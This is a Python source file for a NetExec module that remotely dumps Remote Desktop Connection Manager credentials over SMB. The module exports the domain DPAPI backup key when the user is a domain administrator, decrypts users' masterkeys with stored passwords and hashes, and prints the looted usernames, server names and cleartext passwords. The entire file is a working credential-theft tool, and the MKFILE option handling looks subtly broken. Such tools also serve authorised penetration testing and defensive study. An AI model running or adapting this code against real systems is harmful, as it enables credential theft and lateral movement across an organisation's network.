196 lines
7.6 KiB
Python
196 lines
7.6 KiB
Python
#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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from dploot.triage.rdg import RDGTriage
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from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
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from dploot.triage.backupkey import BackupkeyTriage
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from dploot.lib.target import Target
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from dploot.lib.smb import DPLootSMBConnection
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from nxc.helpers.logger import highlight
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class NXCModule:
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name = "rdcman"
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description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
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supported_protocols = ["smb"]
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opsec_safe = True
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multiple_hosts = True
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def options(self, context, module_options):
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"""
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PVK Domain backup key file
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MKFILE File with masterkeys in form of {GUID}:SHA1
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"""
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self.pvkbytes = None
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self.masterkeys = None
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if "PVK" in module_options:
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self.pvkbytes = open(module_options["PVK"], "rb").read()
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if "MKFILE" in module_options:
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self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
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self.pvkbytes = open(module_options["MKFILE"], "rb").read()
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def on_admin_login(self, context, connection):
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host = connection.hostname + "." + connection.domain
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domain = connection.domain
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username = connection.username
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kerberos = connection.kerberos
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aesKey = connection.aesKey
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use_kcache = getattr(connection, "use_kcache", False)
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password = getattr(connection, "password", "")
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lmhash = getattr(connection, "lmhash", "")
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nthash = getattr(connection, "nthash", "")
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if self.pvkbytes is None:
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try:
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dc = Target.create(
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domain=domain,
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username=username,
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password=password,
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target=domain,
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lmhash=lmhash,
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nthash=nthash,
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do_kerberos=kerberos,
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aesKey=aesKey,
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no_pass=True,
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use_kcache=use_kcache,
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)
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dc_conn = DPLootSMBConnection(dc)
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dc_conn.connect()
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if dc_conn.is_admin:
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context.log.success("User is Domain Administrator, exporting domain backupkey...")
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backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
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backupkey = backupkey_triage.triage_backupkey()
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self.pvkbytes = backupkey.backupkey_v2
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except Exception as e:
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context.log.debug(f"Could not get domain backupkey: {e}")
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pass
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target = Target.create(
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domain=domain,
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username=username,
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password=password,
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target=host,
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lmhash=lmhash,
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nthash=nthash,
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do_kerberos=kerberos,
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aesKey=aesKey,
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no_pass=True,
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use_kcache=use_kcache,
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)
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conn = None
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try:
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conn = DPLootSMBConnection(target)
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conn.smb_session = connection.conn
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except Exception as e:
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context.log.debug(f"Could not upgrade connection: {e}")
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return
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plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
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nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
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if password != "":
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plaintexts[username] = password
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if nthash != "":
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nthashes[username] = nthash
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if self.masterkeys is None:
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try:
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masterkeys_triage = MasterkeysTriage(
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target=target,
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conn=conn,
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pvkbytes=self.pvkbytes,
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passwords=plaintexts,
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nthashes=nthashes,
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)
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self.masterkeys = masterkeys_triage.triage_masterkeys()
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except Exception as e:
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context.log.debug(f"Could not get masterkeys: {e}")
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if len(self.masterkeys) == 0:
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context.log.fail("No masterkeys looted")
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return
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context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
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try:
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triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
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rdcman_files, rdgfiles = triage.triage_rdcman()
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for rdcman_file in rdcman_files:
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if rdcman_file is None:
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continue
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for rdg_cred in rdcman_file.rdg_creds:
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if rdg_cred.type == "cred":
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context.log.highlight(
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"[%s][%s] %s:%s"
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% (
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rdcman_file.winuser,
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rdg_cred.profile_name,
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rdg_cred.username,
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rdg_cred.password.decode("latin-1"),
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)
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)
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elif rdg_cred.type == "logon":
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context.log.highlight(
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"[%s][%s] %s:%s"
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% (
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rdcman_file.winuser,
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rdg_cred.profile_name,
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rdg_cred.username,
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rdg_cred.password.decode("latin-1"),
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)
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)
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elif rdg_cred.type == "server":
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context.log.highlight(
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"[%s][%s] %s - %s:%s"
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% (
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rdcman_file.winuser,
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rdg_cred.profile_name,
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rdg_cred.server_name,
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rdg_cred.username,
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rdg_cred.password.decode("latin-1"),
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)
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)
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for rdgfile in rdgfiles:
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if rdgfile is None:
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continue
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for rdg_cred in rdgfile.rdg_creds:
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if rdg_cred.type == "cred":
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context.log.highlight(
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"[%s][%s] %s:%s"
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% (
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rdgfile.winuser,
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rdg_cred.profile_name,
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rdg_cred.username,
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rdg_cred.password.decode("latin-1"),
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)
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)
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elif rdg_cred.type == "logon":
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context.log.highlight(
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"[%s][%s] %s:%s"
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% (
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rdgfile.winuser,
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rdg_cred.profile_name,
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rdg_cred.username,
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rdg_cred.password.decode("latin-1"),
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)
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)
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elif rdg_cred.type == "server":
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context.log.highlight(
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"[%s][%s] %s - %s:%s"
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% (
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rdgfile.winuser,
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rdg_cred.profile_name,
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rdg_cred.server_name,
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rdg_cred.username,
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rdg_cred.password.decode("latin-1"),
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)
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)
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except Exception as e:
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context.log.debug(f"Could not loot RDCMan secrets: {e}")
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